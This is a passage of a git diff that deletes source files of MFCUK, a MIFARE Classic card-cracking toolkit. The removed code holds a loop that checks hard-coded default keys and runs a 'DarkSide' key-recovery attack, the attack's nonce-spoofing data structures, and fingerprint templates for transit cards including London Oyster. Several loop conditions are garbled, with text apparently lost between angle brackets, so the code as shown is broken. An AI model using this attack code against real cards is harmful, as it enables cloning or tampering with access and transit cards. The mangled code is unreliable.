ti.nti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH); - - // No command line tag UID specified, take it from the tag on the reader - if ( !bfOpts['U'] ) - { - tag_recover_verify.uid = bswap_32(*((uint32_t *) &(ti.nti.nai.abtUid))); - memcpy( tag_recover_verify.tag_basic.amb[0].mbm.abtUID, ti.nti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH); - } - - if (bfOpts['v'] && (verboseLevel > 0)) - { - print_mifare_classic_tag_actions("\n\nINITIAL ACTIONS MATRIX", &(tag_recover_verify.tag_basic)); - } - - max_sectors = (IS_MIFARE_CLASSIC_1K(tag_recover_verify.type)?MIFARE_CLASSIC_1K_MAX_SECTORS:MIFARE_CLASSIC_4K_MAX_SECTORS); - - // VERIFY KEYS CODE-BLOCK - printf("\nVERIFY: "); - for (k = keyA; k <= keyB; k++) - { - // Print key-type for which we are looping the sectors for verification - printf("\n\tKey %c sectors:", 'B'-(keyB-k)); - - for (i=0; iabtAccessBits[action_byte] & ACTIONS_VERIFY) && !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY); j++) - { - // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs - mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic)); - - // The first spot in the current_default_keys, is reserved to the key from the loaded dump or from command line - // If not present (dump or command line), the key of this key-type k for current sector i will be 000000000000 - if (j == 0) - { - memcpy( &(current_default_keys[0][0]), (k==keyA)?(&(ptr_trailer->abtKeyA[0])):((&(ptr_trailer->abtKeyB[0]))), MIFARE_CLASSIC_KEY_BYTELENGTH ); - } - - if ( !mfcuk_key_arr_to_uint64( &(current_default_keys[j][0]), &crntVerifKey) ) - { - WARN("mfcuk_key_arr_to_uint64() failed, verification key will be %012"PRIx64"", crntVerifKey); - } - - /* - // TODO: make this kind of key verification as part of option -a - advanced verification of keys with crapto1 rollback for double verification - // TEST - nfc_disconnect(pnd); - - // Try to open the NFC reader - pnd = nfc_connect(NULL); - - if (pnd == NULL) - { - ERR("connecting to NFC reader"); - return 1; - } - - if ( !nfc_initiator_init(pnd) ) - { - ERR("initializing NFC reader: %s", pnd->acName); - nfc_disconnect(pnd); - return 1; - } - // TEST - - uiErrCode = mfcuk_verify_key_block(pnd, crntVerifUID, crntVerifKey, k, crntVerifTagType, block); - - if ( uiErrCode == MFCUK_SUCCESS ) - { - // Mark current key-type as verified - ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY; - - // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched - memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH); - } - else - { - ERR("AUTH sector %d, block %d, key %012"PRIx64", key-type 0x%02x, error code 0x%02x", i, block, crntVerifKey, k, uiErrCode); - } - - // Reset advanced settings - mfcuk_darkside_reset_advanced(pnd); - */ - memcpy(mp.mpa.abtUid, tag_recover_verify.tag_basic.amb[0].mbm.abtUID, MIFARE_CLASSIC_UID_BYTELENGTH); - memcpy(mp.mpa.abtKey, &(current_default_keys[j][0]), MIFARE_CLASSIC_KEY_BYTELENGTH); - - if ( !nfc_initiator_select_passive_target(pnd, nmMifare, NULL, 0, &ti) ) - { - ERR("tag was removed or cannot be selected"); - } - - if ( !nfc_initiator_mifare_cmd(pnd, k, block, &mp) ) - { - ERR("AUTH sector %d, block %d, key %012"PRIx64", key-type 0x%02x, error code 0x%02x", i, block, crntVerifKey, k, uiErrCode); - } - else - { - // Mark current key-type as verified - ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY; - - // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched - memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH); - } - } // for (j = 0; (j < crntNumVerifKeys); j++) - } // for (i=0; i 0) ) - { - print_mifare_classic_tag_actions("\n\nACTION RESULTS MATRIX AFTER VERIFY", &(tag_recover_verify.tag_basic)); - } - - // RECOVER KEYS CODE-BLOCK - printf("\nRECOVER: "); - for (i=0; iabtAccessBits[action_byte] & ACTIONS_RECOVER) && - !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY) && - !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_RECOVER) - ) - { - // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs - mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic)); - - // TEST - // Before starting a new recovery session, disconnect and reconnect to reader and then tag - nfc_disconnect(pnd); - - // Try to open the NFC reader - pnd = nfc_connect(NULL); - - if (pnd == NULL) - { - ERR("connecting to NFC reader"); - return 1; - } - - if ( !nfc_initiator_init(pnd) ) - { - ERR("initializing NFC reader: %s", pnd->acName); - nfc_disconnect(pnd); - return 1; - } - // TEST - - // Every new recovery session needs this "sort-of" initializing the entries - memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries)); - numSpoofEntries = 0; - numAuthAttempts = 0; - - // Recovery loop for current key-type of current sector - do - { - mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti.nti); - - // Print usefull/useless info (sort-of "Let me entertain you!") - if ( bfOpts['v'] && (verboseLevel > 2) ) - { - printf("\n-----------------------------------------------------\n"); - printf("Let me entertain you!\n"); - printf(" uid: %08x\n", tag_recover_verify.uid); - printf(" type: %02x\n", tag_recover_verify.type); - printf(" key: %012"PRIx64"\n", crntRecovKey); - printf(" block: %02x\n", block); - printf("diff Nt: %d\n", numSpoofEntries); - printf(" auths: %d\n", numAuthAttempts); - printf("-----------------------------------------------------\n"); - } - - uiErrCode = mfcuk_key_recovery_block(pnd, tag_recover_verify.uid, crntRecovKey, j, tag_recover_verify.type, block, &ui64KeyRecovered); - - if ( uiErrCode != MFCUK_OK_KEY_RECOVERED && uiErrCode != MFCUK_SUCCESS && uiErrCode != MFCUK_FAIL_AUTH) - { - ERR("mfcuk_key_recovery_block() (error code=0x%02x)", uiErrCode); - } - - mfcuk_darkside_reset_advanced(pnd); - - numAuthAttempts++; - } while (uiErrCode != MFCUK_OK_KEY_RECOVERED); - - // Store the recovered key A and mark key A for this sector as recovered in results - ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_RECOVER; - - if ( !mfcuk_key_uint64_to_arr( &ui64KeyRecovered, (j == keyA)?(&(ptr_trailer->abtKeyA[0])):(&(ptr_trailer->abtKeyB[0])) ) ) - { - WARN("mfcuk_key_uint64_to_arr() failed, recovered key should have been %012"PRIx64"", ui64KeyRecovered); - } - } - } // for (j=keyA; j<=keyB; j++) - } - printf("\n"); - - if ( bfOpts['v'] && (verboseLevel > 0) ) - { - print_mifare_classic_tag_actions("\n\nACTION RESULTS MATRIX AFTER RECOVER", &(tag_recover_verify.tag_basic)); - } - - // DUMP DATA CODE-BLOCK - // TODO: write this code-block - /* - for (i=0; i 1) ) - { - printf("INFO: saved tag dump file to '%s'\n", strOutputFilename); - } - } - } - else if ( bfOpts['O'] ) - { - if ( !mfcuk_save_tag_dump_ext(strOutputFilename, &(tag_recover_verify)) ) - { - ERR("could not save extended tag dump to '%s'", strOutputFilename); - } - else - { - if ( bfOpts['v'] && (verboseLevel > 1) ) - { - printf("INFO: saved extended tag dump file to '%s'\n", strOutputFilename); - } - } - } - - return 0; -} diff --git a/src/mfcuk.h b/src/mfcuk.h deleted file mode 100644 index 251e9a4..0000000 --- a/src/mfcuk.h +++ /dev/null @@ -1,120 +0,0 @@ -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Filename: - mfcuk_keyrecovery_darkside.h - - Description: - MFCUK DarkSide Key Recovery specific typedefs and defines - - Contact, bug-reports: - http://andreicostin.com/ - mailto:zveriu@gmail.com - - License: - GPL2 (see below), Copyright (C) 2009, Andrei Costin - - * @file mfcuk_keyrecovery_darkside.h - * @brief -*/ - -/* - VERSION HISTORY --------------------------------------------------------------------------------- -| Number : 0.1 -| dd/mm/yyyy : 23/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Moved bulk of defines and things from "mfcuk_keyrecovery_darkside.c" --------------------------------------------------------------------------------- -*/ - -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#ifndef _MFCUK_KEYRECOVERY_DARKSIDE_H_ -#define _MFCUK_KEYRECOVERY_DARKSIDE_H_ - -// Define package and executable related info -#define BUILD_NAME "Mifare Classic DarkSide Key Recovery Tool" -#define BUILD_VERSION "0.3" -#define BUILD_AUTHOR "Andrei Costin, zveriu@gmail.com, http://andreicostin.com" - -// Define return statuses -#define MFCUK_SUCCESS 0x0 -#define MFCUK_OK_KEY_RECOVERED (MFCUK_SUCCESS+1) -#define MFCUK_FAIL_AUTH (MFCUK_OK_KEY_RECOVERED+1) -#define MFCUK_FAIL_CRAPTO (MFCUK_FAIL_AUTH+1) -#define MFCUK_FAIL_TAGTYPE_INVALID (MFCUK_FAIL_CRAPTO+1) -#define MFCUK_FAIL_KEYTYPE_INVALID (MFCUK_FAIL_TAGTYPE_INVALID+1) -#define MFCUK_FAIL_BLOCK_INVALID (MFCUK_FAIL_KEYTYPE_INVALID+1) -#define MFCUK_FAIL_SECTOR_INVALID (MFCUK_FAIL_BLOCK_INVALID+1) -#define MFCUK_FAIL_COMM (MFCUK_FAIL_SECTOR_INVALID+1) -#define MFCUK_FAIL_MEMORY (MFCUK_FAIL_COMM+1) - -// There are 4 bytes in ACBITS, use each byte as below -#define ACTIONS_KEY_A 0 // Specifies the byte index where actions for key A are stored -#define RESULTS_KEY_A 1 // Specifies the byte index where results for key A are stored -#define ACTIONS_KEY_B 2 // Specifies the byte index where actions for key B are stored -#define RESULTS_KEY_B 3 // Specifies the byte index where results for key B are stored - -// The action/result byte can contain any combination of these -#define ACTIONS_VERIFY 0x1 // Specifies whether the key should be first verified -#define ACTIONS_RECOVER 0x2 // Specifies whether the key should be recovered. If a key has verify action and the key was verified, RESULTS_ byte will indicate that and recovery will not take place -#define ACTIONS_KEYSET 0x4 // Specifies whether the key was set from command line rather that should be loaded from the eventual -i/-I dump - -// Implementation specific, since we are not 100% sure we can fix the tag nonce -// Suppose from 2^32, only MAX 2^16 tag nonces will appear given current SLEEP_ values -#define MAX_TAG_NONCES 65536 -// Maximum possible states allocated and returned by lsfr_common_prefix(). Used this value in the looping -#define MAX_COMMON_PREFIX_STATES (1<<20) -// 10 ms, though {WPMCC09} claims 30 us is enough -#define SLEEP_AT_FIELD_OFF 10 -// 50 ms, seems pretty good constant, though if you don't like it - make it even 3.1415..., we don't care -#define SLEEP_AFTER_FIELD_ON 50 -// Since the 29 bits of {Nr} are constant, darkside varies only "last" (0xFFFFFF1F) 3 bits, thus we have 8 possible parity bits arrays -#define MFCUK_DARKSIDE_MAX_LEVELS 8 - -#define MFCUK_DARKSIDE_START_NR 0xDEADBEEF -#define MFCUK_DARKSIDE_START_AR 0xFACECAFE - -typedef struct tag_nonce_entry -{ - uint32_t tagNonce; // Tag nonce we target for fixation - byte_t spoofFlag; // No spoofing until we have a successful auth with this tagNonce. Once we have, we want to spoof to get the encrypted 0x5 value - uint32_t num_of_appearances; // For statistics, how many times this tag nonce appeared for the given SLEEP_ values - - // STAGE1 data for "dark side" and lsfr_common_prefix() - uint32_t spoofNrPfx; // PARAM: used as pfx, calculated from (spoofNrEnc & 0xFFFFFF1F). BUG: weird way to denote "first 29 prefix bits" in "dark side" paper. Perhaps I see the world different - uint32_t spoofNrEnc; // {Nr} value which we will be using to make the tag respond with 4 bits - uint32_t spoofArEnc; // PARAM: used as rr - uint8_t spoofParBitsEnc; // parity bits we are trying to guess for the first time - uint8_t spoofNackEnc; // store here the encrypted NACK returned first time we match the parity bits - uint8_t spoofKs; // store here the keystream ks used for encryptying spoofNackEnc, specifically spoofKs = spoofNackEnc ^ 0x5 - - // STAGE2 data for "dark side" and lsfr_common_prefix() - int current_out_of_8; // starting from -1 until we find parity for chosen spoofNrEnc,spoofArEnc - uint8_t parBitsCrntCombination[MFCUK_DARKSIDE_MAX_LEVELS]; // Loops over 32 combinations of the last 5 parity bits which generated the 4 bit NACK in STAGE1 - uint32_t nrEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // the 29 bits constant prefix, varying only 3 bits, thus 8 possible values - uint32_t arEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // the same reader response as spoofArEnc; redundant but... :) - uint8_t ks[MFCUK_DARKSIDE_MAX_LEVELS]; // PARAM: used as ks, obtained as (ks[i] = nackEnc[i] ^ 0x5) - uint8_t nackEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // store here the encrypted 4 bits values which tag responded - uint8_t parBits[MFCUK_DARKSIDE_MAX_LEVELS]; // store here the values based on spoofParBitsEnc, varying only last 5 bits - uint8_t parBitsArr[MFCUK_DARKSIDE_MAX_LEVELS][8]; // PARAM: used as par, contains value of parBits byte-bit values just splitted out one bit per byte thus second pair of braces [8] -} tag_nonce_entry_t; - -#endif // _MFCUK_KEYRECOVERY_DARKSIDE_H_ diff --git a/src/mfcuk_finger.c b/src/mfcuk_finger.c deleted file mode 100644 index 781c156..0000000 --- a/src/mfcuk_finger.c +++ /dev/null @@ -1,216 +0,0 @@ -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Package version: - 0.1 - - Filename: - mfcuk_finger.c - - Description: - MFCUK fingerprinting and specific data-decoding functionality. - - License: - GPL2, Copyright (C) 2009, Andrei Costin - - * @file mfcuk_finger.c - * @brief MFCUK fingerprinting and specific data-decoding functionality. - * @todo add proper error codes -*/ - -#include "mfcuk_finger.h" - -mfcuk_finger_tmpl_entry mfcuk_finger_db[] = -{ - { "./data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd", "Sofia SKGT", mfcuk_finger_default_comparator, mfcuk_finger_skgt_decoder, NULL }, - { "./data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd", "Bucharest RATB", mfcuk_finger_default_comparator, mfcuk_finger_default_decoder, NULL }, - { "./data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd", "London OYSTER", mfcuk_finger_default_comparator, mfcuk_finger_default_decoder, NULL }, -}; - -int mfcuk_finger_db_entries = sizeof(mfcuk_finger_db)/sizeof(mfcuk_finger_db[0]); - -int mfcuk_finger_default_decoder(mifare_classic_tag *dump) -{ - if (!dump) - { - fprintf(stderr, "ERROR: cannot decode a NULL pointer :)\n"); - return 0; - } - - printf("UID:\t%02x%02x%02x%02x\n", dump->amb[0].mbm.abtUID[0], dump->amb[0].mbm.abtUID[1], dump->amb[0].mbm.abtUID[2], dump->amb[0].mbm.abtUID[3]); - printf("TYPE:\t%02x\n", dump->amb[0].mbm.btUnknown); - - return 1; -} - -// Yes, I know C++ class inheritance would perfectly fit the decoders/comparators... Though C is more to my heart. Anyone to rewrite in C++? -int mfcuk_finger_skgt_decoder(mifare_classic_tag *dump) -{ - unsigned char *dump_ptr = NULL; - unsigned short car_number = 0; - - if (!dump) - { - fprintf(stderr, "ERROR: cannot decode a NULL pointer :)\n"); - return 0; - } - - dump_ptr = (unsigned char *) dump; - - printf("Bulgaria/Sofia/SKGT public transport card information decoder (info credits to Andy)\n"); - mfcuk_finger_default_decoder(dump); - - printf("LAST TRAVEL DATA\n"); - - // TODO: get proper information - - return 1; -} - -int mfcuk_finger_default_comparator(mifare_classic_tag *dump, mfcuk_finger_template *tmpl, float *score) -{ - int max_bytes = 0; - int i; - int num_bytes_tomatch = 0; - int num_bytes_matched = 0; - - if ( (!dump) || (!tmpl) || (!score) ) - { - return 0; - } - - if (IS_MIFARE_CLASSIC_1K_TAG(dump)) - { - max_bytes = MIFARE_CLASSIC_BYTES_PER_BLOCK * MIFARE_CLASSIC_1K_MAX_BLOCKS; - } - else if (IS_MIFARE_CLASSIC_4K_TAG(dump)) - { - max_bytes = MIFARE_CLASSIC_BYTES_PER_BLOCK * MIFARE_CLASSIC_4K_MAX_BLOCKS; - } - else - { - return 0; - } - - for (i=0; imask))[i] == 0x0 ) - { - continue; - } - - num_bytes_tomatch++; - - if ( ((char *)(&tmpl->values))[i] == ((char *)dump)[i] ) - { - num_bytes_matched++; - } - } - - if (num_bytes_tomatch == 0) - { - return 0; - } - else - { - *score = (float)(num_bytes_matched)/num_bytes_tomatch; - } - - return 1; -} - -int mfcuk_finger_load() -{ - int i; - mifare_classic_tag mask; - mifare_classic_tag values; - FILE *fp = NULL; - size_t result = 0; - mfcuk_finger_template *tmpl_new = NULL; - - int template_loaded_count = 0; - for (i = 0; imask), &(mask), sizeof(mask)); - memcpy( &(tmpl_new->values), &(values), sizeof(values)); - - mfcuk_finger_db[i].tmpl_data = tmpl_new; - template_loaded_count++; - } - - if (fp) - { - fclose(fp); - fp = NULL; - } - } - - return template_loaded_count; -} - -int mfcuk_finger_unload() -{ - int i; - - for (i = 0; i. -*/ - -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Package version: - 0.1 - - Filename: - mfcuk_finger.h - - Description: - MFCUK fingerprinting and specific data-decoding functionality. - - License: - GPL2, Copyright (C) 2009, Andrei Costin - - * @file mfcuk_finger.h - * @brief MFCUK fingerprinting and specific data-decoding functionality. -*/ - -#ifndef _MFCUK_FINGER_H_ -#define _MFCUK_FINGER_H_ - -#include -#include -#include - -#include "mfcuk_mifare.h" - -// Wrapping an ugly template into an externally pleasant name. To implement proper template later. -typedef struct _mfcuk_finger_template_ -{ - mifare_classic_tag mask; - mifare_classic_tag values; -} mfcuk_finger_template; - -// Function type definition, to be used for custom decoders/comparators -typedef int (*mfcuk_finger_comparator) (mifare_classic_tag *dump, mfcuk_finger_template *tmpl, float *score); -typedef int (*mfcuk_finger_decoder) (mifare_classic_tag *dump); - -// Naive implementation of a self-contained fingerprint database entry -typedef struct _mfcuk_finger_tmpl_entry_ -{ - char *tmpl_filename; - char *tmpl_name; - mfcuk_finger_comparator tmpl_comparison_func; - mfcuk_finger_decoder tmpl_decoder_func; - mfcuk_finger_template *tmpl_data; -} mfcuk_finger_tmpl_entry; - -int mfcuk_finger_default_comparator(mifare_classic_tag *dump, mfcuk_finger_template *tmpl, float *score); -int mfcuk_finger_default_decoder(mifare_classic_tag *dump); -int mfcuk_finger_skgt_decoder(mifare_classic_tag *dump); - -// "Housekeeping" functions -int mfcuk_finger_load(); -int mfcuk_finger_unload(); - -#endif diff --git a/src/mfcuk_mifare.c b/src/mfcuk_mifare.c deleted file mode 100644 index 5dade83..0000000 --- a/src/mfcuk_mifare.c +++ /dev/null @@ -1,560 +0,0 @@ -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Package version: - 0.1 - - Filename: - mfcuk_mifare.c - - Description: - MFCUK defines and function implementation file extending - mainly libnfc's "mifare.h" interface/functionality. - - Contact, bug-reports: - http://andreicostin.com/ - mailto:zveriu@gmail.com - - License: - GPL2 (see below), Copyright (C) 2009, Andrei Costin - - * @file mfcuk_mifare.c - * @brief -*/ - -/* - VERSION HISTORY --------------------------------------------------------------------------------- -| Number : 0.1 -| dd/mm/yyyy : 23/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Moved bulk of defines and functions from "mfcuk_keyrecovery_darkside.c" --------------------------------------------------------------------------------- -*/ - -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#include "mfcuk_mifare.h" - -// Default keys used as a *BIG* mistake in many applications - especially System Integrators should pay attention! -byte_t mfcuk_default_keys[][MIFARE_CLASSIC_KEY_BYTELENGTH] = -{ - {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Place-holder for current key to verify - {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, - {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, - {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, - {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, - {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, - {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, - {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, - {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, -}; - -int mfcuk_default_keys_num = sizeof(mfcuk_default_keys)/sizeof(mfcuk_default_keys[0]); - -bool is_valid_block(byte_t bTagType, uint32_t uiBlock) -{ - if ( IS_MIFARE_CLASSIC_1K(bTagType) && (uiBlock < MIFARE_CLASSIC_1K_MAX_BLOCKS) ) - { - return true; - } - - if ( IS_MIFARE_CLASSIC_4K(bTagType) && (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS) ) - { - return true; - } - - return false; -} - -bool is_valid_sector(byte_t bTagType, uint32_t uiSector) -{ - if ( IS_MIFARE_CLASSIC_1K(bTagType) && (uiSector < MIFARE_CLASSIC_1K_MAX_SECTORS) ) - { - return true; - } - - if ( IS_MIFARE_CLASSIC_4K(bTagType) && (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS) ) - { - return true; - } - - return false; -} - -bool is_first_block(byte_t bTagType, uint32_t uiBlock) -{ - if ( !is_valid_block(bTagType, uiBlock) ) - { - return false; - } - - // Test if we are in the small or big sectors - if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) - { - // For Mifare Classic 1K, it will enter always here - return ( (uiBlock) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) == 0 ); - } - else - { - // This branch will enter only for Mifare Classic 4K big sectors - return ( (uiBlock) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) == 0 ); - } - - // Should not reach here, but... never know - return false; -} - -bool is_trailer_block(byte_t bTagType, uint32_t uiBlock) -{ - if ( !is_valid_block(bTagType, uiBlock) ) - { - return false; - } - - // Test if we are in the small or big sectors - if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) - { - // For Mifare Classic 1K, it will enter always here - return ( (uiBlock+1) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) == 0 ); - } - else - { - // This branch will enter only for Mifare Classic 4K big sectors - return ( (uiBlock+1) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) == 0 ); - } - - // Should not reach here, but... never know - return false; -} - -uint32_t get_first_block(byte_t bTagType, uint32_t uiBlock) -{ - if ( !is_valid_block(bTagType, uiBlock) ) - { - return MIFARE_CLASSIC_INVALID_BLOCK; - } - - // Test if we are in the small or big sectors - if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) - { - // Integer divide, then integer multiply - return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1; - } - else - { - uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; - return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2; - } - - // Should not reach here, but... never know - return MIFARE_CLASSIC_INVALID_BLOCK; -} - -uint32_t get_trailer_block(byte_t bTagType, uint32_t uiBlock) -{ - if ( !is_valid_block(bTagType, uiBlock) ) - { - return MIFARE_CLASSIC_INVALID_BLOCK; - } - - // Test if we are in the small or big sectors - if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) - { - // Integer divide, then integer multiply - return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1 + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1-1); - } - else - { - uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; - return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2 + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2-1); - } - - // Should not reach here, but... never know - return MIFARE_CLASSIC_INVALID_BLOCK; -} - -bool is_big_sector(byte_t bTagType, uint32_t uiSector) -{ - if ( !is_valid_sector(bTagType, uiSector) ) - { - return false; - } - - if (uiSector >= MIFARE_CLASSIC_4K_MAX_SECTORS1) - { - return true; - } - - return false; -} - -uint32_t get_first_block_for_sector(byte_t bTagType, uint32_t uiSector) -{ - if ( !is_valid_sector(bTagType, uiSector) ) - { - return MIFARE_CLASSIC_INVALID_BLOCK; - } - - if (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS1) - { - // For Mifare Classic 1K, it will enter always here - return (uiSector * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1); - } - else - { - // For Mifare Classic 4K big sectors it will enter always here - uint32_t tmp = uiSector - MIFARE_CLASSIC_4K_MAX_SECTORS1; - return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2); - } - - // Should not reach here, but... never know - return MIFARE_CLASSIC_INVALID_BLOCK; -} - -uint32_t get_trailer_block_for_sector(byte_t bTagType, uint32_t uiSector) -{ - if ( !is_valid_sector(bTagType, uiSector) ) - { - return MIFARE_CLASSIC_INVALID_BLOCK; - } - - if (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS1) - { - // For Mifare Classic 1K, it will enter always here - return (uiSector * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1-1); - } - else - { - // For Mifare Classic 4K big sectors it will enter always here - uint32_t tmp = uiSector - MIFARE_CLASSIC_4K_MAX_SECTORS1; - return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2-1); - } - - // Should not reach here, but... never know - return MIFARE_CLASSIC_INVALID_BLOCK; -} - -uint32_t get_sector_for_block(byte_t bTagType, uint32_t uiBlock) -{ - if ( !is_valid_block(bTagType, uiBlock) ) - { - return MIFARE_CLASSIC_INVALID_BLOCK; - } - - // Test if we are in the small or big sectors - if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) - { - // For Mifare Classic 1K, it will enter always here - return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1); - } - else - { - uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; - return MIFARE_CLASSIC_4K_MAX_SECTORS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2); - } - - // Should not reach here, but... never know - return MIFARE_CLASSIC_INVALID_BLOCK; -} - -bool is_first_sector(byte_t bTagType, uint32_t uiSector) -{ - // TODO: write code - return false; -} - -bool is_first_big_sector(byte_t bTagType, uint32_t uiSector) -{ - // TODO: write code - return false; -} - -bool is_first_small_sector(byte_t bTagType, uint32_t uiSector) -{ - // TODO: write code - return false; -} - -bool is_last_sector(byte_t bTagType, uint32_t uiSector) -{ - // TODO: write code - return false; -} - -bool is_last_big_sector(byte_t bTagType, uint32_t uiSector) -{ - // TODO: write code - return false; -} - -bool is_last_small_sector(byte_t bTagType, uint32_t uiSector) -{ - // TODO: write code - return false; -} - -// Test case function for checking correct functionality of the block/sector is_ ang get_ functions -void test_mifare_classic_blocks_sectors_functions(byte_t bTagType) -{ - uint32_t i; - uint32_t max_blocks, max_sectors; - - if ( IS_MIFARE_CLASSIC_1K(bTagType) ) - { - printf("\nMIFARE CLASSIC 1K\n"); - max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; - max_sectors = MIFARE_CLASSIC_1K_MAX_SECTORS; - } - else if ( IS_MIFARE_CLASSIC_4K(bTagType) ) - { - printf("\nMIFARE CLASSIC 4K\n"); - max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; - max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS; - } - else - { - return; - } - - // Include one invalid block, that is why we add +1 - for (i = 0; iamb->mbm.btUnknown; - - if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) - { - return; - } - - printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n", - title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType, - (IS_MIFARE_CLASSIC_1K(bTagType)?(MIFARE_CLASSIC_1K_NAME):(IS_MIFARE_CLASSIC_4K(bTagType)?(MIFARE_CLASSIC_4K_NAME):(MIFARE_CLASSIC_UNKN_NAME))) - ); - 